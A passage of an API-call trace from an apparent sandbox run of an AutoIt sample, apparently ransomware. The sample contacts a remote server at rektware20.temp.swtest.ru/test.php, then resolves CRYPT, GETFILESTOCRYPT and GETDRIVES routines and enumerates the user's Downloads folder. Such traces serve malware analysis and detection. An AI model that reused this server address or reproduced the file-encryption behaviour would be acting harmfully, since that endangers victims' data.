hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.944] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.945] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0049.946] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0050.101] CharUpperBuffW (in: lpsz="_ARRAYADD", cchLength=0x9 | out: lpsz="_ARRAYADD") returned 0x9 [0050.101] CharUpperBuffW (in: lpsz="_ARRAYBINARYSEARCH", cchLength=0x12 | out: lpsz="_ARRAYBINARYSEARCH") returned 0x12 [0050.101] CharUpperBuffW (in: lpsz="_ARRAYCOLDELETE", cchLength=0xf | out: lpsz="_ARRAYCOLDELETE") returned 0xf [0050.101] CharUpperBuffW (in: lpsz="_ARRAYCOLINSERT", cchLength=0xf | out: lpsz="_ARRAYCOLINSERT") returned 0xf [0050.101] CharUpperBuffW (in: lpsz="_ARRAYCOMBINATIONS", cchLength=0x12 | out: lpsz="_ARRAYCOMBINATIONS") returned 0x12 [0050.101] CharUpperBuffW (in: lpsz="_ARRAYCONCATENATE", cchLength=0x11 | out: lpsz="_ARRAYCONCATENATE") returned 0x11 [0050.101] CharUpperBuffW (in: lpsz="_ARRAYDELETE", cchLength=0xc | out: lpsz="_ARRAYDELETE") returned 0xc [0050.101] CharUpperBuffW (in: lpsz="_ARRAYDISPLAY", cchLength=0xd | out: lpsz="_ARRAYDISPLAY") returned 0xd [0050.101] CharUpperBuffW (in: lpsz="_ARRAYEXTRACT", cchLength=0xd | out: lpsz="_ARRAYEXTRACT") returned 0xd [0050.101] CharUpperBuffW (in: lpsz="_ARRAYFINDALL", cchLength=0xd | out: lpsz="_ARRAYFINDALL") returned 0xd [0050.101] CharUpperBuffW (in: lpsz="_ARRAYINSERT", cchLength=0xc | out: lpsz="_ARRAYINSERT") returned 0xc [0050.101] CharUpperBuffW (in: lpsz="_ARRAYMAX", cchLength=0x9 | out: lpsz="_ARRAYMAX") returned 0x9 [0050.101] CharUpperBuffW (in: lpsz="_ARRAYMAXINDEX", cchLength=0xe | out: lpsz="_ARRAYMAXINDEX") returned 0xe [0050.102] CharUpperBuffW (in: lpsz="_ARRAYMIN", cchLength=0x9 | out: lpsz="_ARRAYMIN") returned 0x9 [0050.102] CharUpperBuffW (in: lpsz="_ARRAYMININDEX", cchLength=0xe | out: lpsz="_ARRAYMININDEX") returned 0xe [0050.102] CharUpperBuffW (in: lpsz="_ARRAYPERMUTE", cchLength=0xd | out: lpsz="_ARRAYPERMUTE") returned 0xd [0050.102] CharUpperBuffW (in: lpsz="_ARRAYPOP", cchLength=0x9 | out: lpsz="_ARRAYPOP") returned 0x9 [0050.102] CharUpperBuffW (in: lpsz="_ARRAYPUSH", cchLength=0xa | out: lpsz="_ARRAYPUSH") returned 0xa [0050.102] CharUpperBuffW (in: lpsz="_ARRAYREVERSE", cchLength=0xd | out: lpsz="_ARRAYREVERSE") returned 0xd [0050.102] CharUpperBuffW (in: lpsz="_ARRAYSEARCH", cchLength=0xc | out: lpsz="_ARRAYSEARCH") returned 0xc [0050.102] CharUpperBuffW (in: lpsz="_ARRAYSHUFFLE", cchLength=0xd | out: lpsz="_ARRAYSHUFFLE") returned 0xd [0050.102] CharUpperBuffW (in: lpsz="_ARRAYSORT", cchLength=0xa | out: lpsz="_ARRAYSORT") returned 0xa [0050.102] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT1D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT1D") returned 0x12 [0050.102] CharUpperBuffW (in: lpsz="__ARRAYQUICKSORT2D", cchLength=0x12 | out: lpsz="__ARRAYQUICKSORT2D") returned 0x12 [0050.102] CharUpperBuffW (in: lpsz="__ARRAYDUALPIVOTSORT", cchLength=0x14 | out: lpsz="__ARRAYDUALPIVOTSORT") returned 0x14 [0050.102] CharUpperBuffW (in: lpsz="_ARRAYSWAP", cchLength=0xa | out: lpsz="_ARRAYSWAP") returned 0xa [0050.102] CharUpperBuffW (in: lpsz="_ARRAYTOCLIP", cchLength=0xc | out: lpsz="_ARRAYTOCLIP") returned 0xc [0050.102] CharUpperBuffW (in: lpsz="_ARRAYTOSTRING", cchLength=0xe | out: lpsz="_ARRAYTOSTRING") returned 0xe [0050.102] CharUpperBuffW (in: lpsz="_ARRAYTRANSPOSE", cchLength=0xf | out: lpsz="_ARRAYTRANSPOSE") returned 0xf [0050.103] CharUpperBuffW (in: lpsz="_ARRAYTRIM", cchLength=0xa | out: lpsz="_ARRAYTRIM") returned 0xa [0050.103] CharUpperBuffW (in: lpsz="_ARRAYUNIQUE", cchLength=0xc | out: lpsz="_ARRAYUNIQUE") returned 0xc [0050.103] CharUpperBuffW (in: lpsz="_ARRAY1DTOHISTOGRAM", cchLength=0x13 | out: lpsz="_ARRAY1DTOHISTOGRAM") returned 0x13 [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_STRINGREPEAT", cchLength=0x14 | out: lpsz="__ARRAY_STRINGREPEAT") returned 0x14 [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_EXETERINTERNAL", cchLength=0x16 | out: lpsz="__ARRAY_EXETERINTERNAL") returned 0x16 [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_COMBINATIONS", cchLength=0x14 | out: lpsz="__ARRAY_COMBINATIONS") returned 0x14 [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_GETNEXT", cchLength=0xf | out: lpsz="__ARRAY_GETNEXT") returned 0xf [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_MINMAXINDEX", cchLength=0x13 | out: lpsz="__ARRAY_MINMAXINDEX") returned 0x13 [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_GREATERTHAN", cchLength=0x13 | out: lpsz="__ARRAY_GREATERTHAN") returned 0x13 [0050.103] CharUpperBuffW (in: lpsz="__ARRAY_LESSTHAN", cchLength=0x10 | out: lpsz="__ARRAY_LESSTHAN") returned 0x10 [0050.103] CharUpperBuffW (in: lpsz="__ARRAYUNIQUE_AUTOERRFUNC", cchLength=0x19 | out: lpsz="__ARRAYUNIQUE_AUTOERRFUNC") returned 0x19 [0050.103] CharUpperBuffW (in: lpsz="_FILECOUNTLINES", cchLength=0xf | out: lpsz="_FILECOUNTLINES") returned 0xf [0050.103] CharUpperBuffW (in: lpsz="_FILECREATE", cchLength=0xb | out: lpsz="_FILECREATE") returned 0xb [0050.103] CharUpperBuffW (in: lpsz="_FILELISTTOARRAY", cchLength=0x10 | out: lpsz="_FILELISTTOARRAY") returned 0x10 [0050.104] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0050.104] CharUpperBuffW (in: lpsz="__FLTAR_ADDFILELISTS", cchLength=0x14 | out: lpsz="__FLTAR_ADDFILELISTS") returned 0x14 [0050.126] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0050.126] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0050.126] CharUpperBuffW (in: lpsz="_FILEPRINT", cchLength=0xa | out: lpsz="_FILEPRINT") returned 0xa [0050.126] CharUpperBuffW (in: lpsz="_FILEREADTOARRAY", cchLength=0x10 | out: lpsz="_FILEREADTOARRAY") returned 0x10 [0050.126] CharUpperBuffW (in: lpsz="_FILEWRITEFROMARRAY", cchLength=0x13 | out: lpsz="_FILEWRITEFROMARRAY") returned 0x13 [0050.126] CharUpperBuffW (in: lpsz="_FILEWRITELOG", cchLength=0xd | out: lpsz="_FILEWRITELOG") returned 0xd [0050.126] CharUpperBuffW (in: lpsz="_FILEWRITETOLINE", cchLength=0x10 | out: lpsz="_FILEWRITETOLINE") returned 0x10 [0050.126] CharUpperBuffW (in: lpsz="_PATHFULL", cchLength=0x9 | out: lpsz="_PATHFULL") returned 0x9 [0050.126] CharUpperBuffW (in: lpsz="_PATHGETRELATIVE", cchLength=0x10 | out: lpsz="_PATHGETRELATIVE") returned 0x10 [0050.126] CharUpperBuffW (in: lpsz="_PATHMAKE", cchLength=0x9 | out: lpsz="_PATHMAKE") returned 0x9 [0050.126] CharUpperBuffW (in: lpsz="_PATHSPLIT", cchLength=0xa | out: lpsz="_PATHSPLIT") returned 0xa [0050.127] CharUpperBuffW (in: lpsz="_REPLACESTRINGINFILE", cchLength=0x14 | out: lpsz="_REPLACESTRINGINFILE") returned 0x14 [0050.127] CharUpperBuffW (in: lpsz="_TEMPFILE", cchLength=0x9 | out: lpsz="_TEMPFILE") returned 0x9 [0050.127] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test.php", dwUrlLength=0x29, dwFlags=0x0, lpUrlComponents=0x130f1b8 | out: lpUrlComponents=0x130f1b8) returned 1 [0051.704] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.674] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130f200, dwBufferLength=0x8) returned 1 [0053.703] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130f20c | out: lpBuffer=0x0, lpdwBufferLength=0x130f20c) returned 0 [0053.877] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1628758, lpdwBufferLength=0x130f20c | out: lpBuffer=0x1628758, lpdwBufferLength=0x130f20c) returned 1 [0053.877] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0054.163] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0054.163] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0056.351] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130f1c0, lpdwBufferLength=0x130f1b8, lpdwIndex=0x130f1bc*=0x0 | out: lpBuffer=0x130f1c0*, lpdwBufferLength=0x130f1b8*=0x4, lpdwIndex=0x130f1bc*=0x0) returned 1 [0056.351] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130f1dc, lpdwBufferLength=0x130f208, lpdwIndex=0x130f20c*=0x0 | out: lpBuffer=0x130f1dc*, lpdwBufferLength=0x130f208*=0x2, lpdwIndex=0x130f20c*=0x1) returned 1 [0056.353] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130f1bc, dwFlags=0x0, dwContext=0x0) returned 1 [0056.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x162cad0, dwNumberOfBytesToRead=0x3, lpdwNumberOfBytesRead=0x130f1c0 | out: lpBuffer=0x162cad0*, lpdwNumberOfBytesRead=0x130f1c0*=0x3) returned 1 [0056.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x162ce40, dwNumberOfBytesToRead=0x3, lpdwNumberOfBytesRead=0x130f1c0 | out: lpBuffer=0x162ce40*, lpdwNumberOfBytesRead=0x130f1c0*=0x0) returned 1 [0056.361] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0056.362] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0056.362] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0056.363] CloseHandle (hObject=0x0) returned 0 [0056.365] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 1 [0056.365] TranslateMessage (lpMsg=0x130f86c) returned 0 [0056.365] DispatchMessageW (lpMsg=0x130f86c) returned 0x0 [0056.365] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130eed0) returned 1 [0056.372] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0056.373] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0056.373] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.373] CharUpperBuffW (in: lpsz="_RANDOMSTRING", cchLength=0xd | out: lpsz="_RANDOMSTRING") returned 0xd [0056.378] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.378] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0056.378] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.378] CharUpperBuffW (in: lpsz="DECRYPT", cchLength=0x7 | out: lpsz="DECRYPT") returned 0x7 [0056.378] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.379] CharUpperBuffW (in: lpsz="GETFILESTODECRYPT", cchLength=0x11 | out: lpsz="GETFILESTODECRYPT") returned 0x11 [0056.379] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.382] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0056.383] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.383] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0056.383] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0056.383] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0056.383] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x130f280, nSize=0x104 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0056.383] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0056.383] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Downloads", cchCount1=31, lpString2="", cchCount2=0) returned 3 [0056.383] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0056.383] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0056.383] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.384] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads" (normalized: "c:\\users\\ciihmnxmn6ps\\downloads")) returned 0x11 [0056.384] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.384] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.384] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.384] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.384] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.384] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s", cchCount1=1, lpString2="\\", cchCount2=1) returned 3 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.385] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=3, lpString2="*", cchCount2=1) returned 3 [0056.386] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.386] CharUpperBuffW (in: lpsz="__FLTAR_LISTTOMASK", cchLength=0x12 | out: lpsz="__FLTAR_LISTTOMASK") returned 0x12 [0056.386] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0056.387] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0056.387] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*.*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2=";", cchCount2=1) returned 1 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, 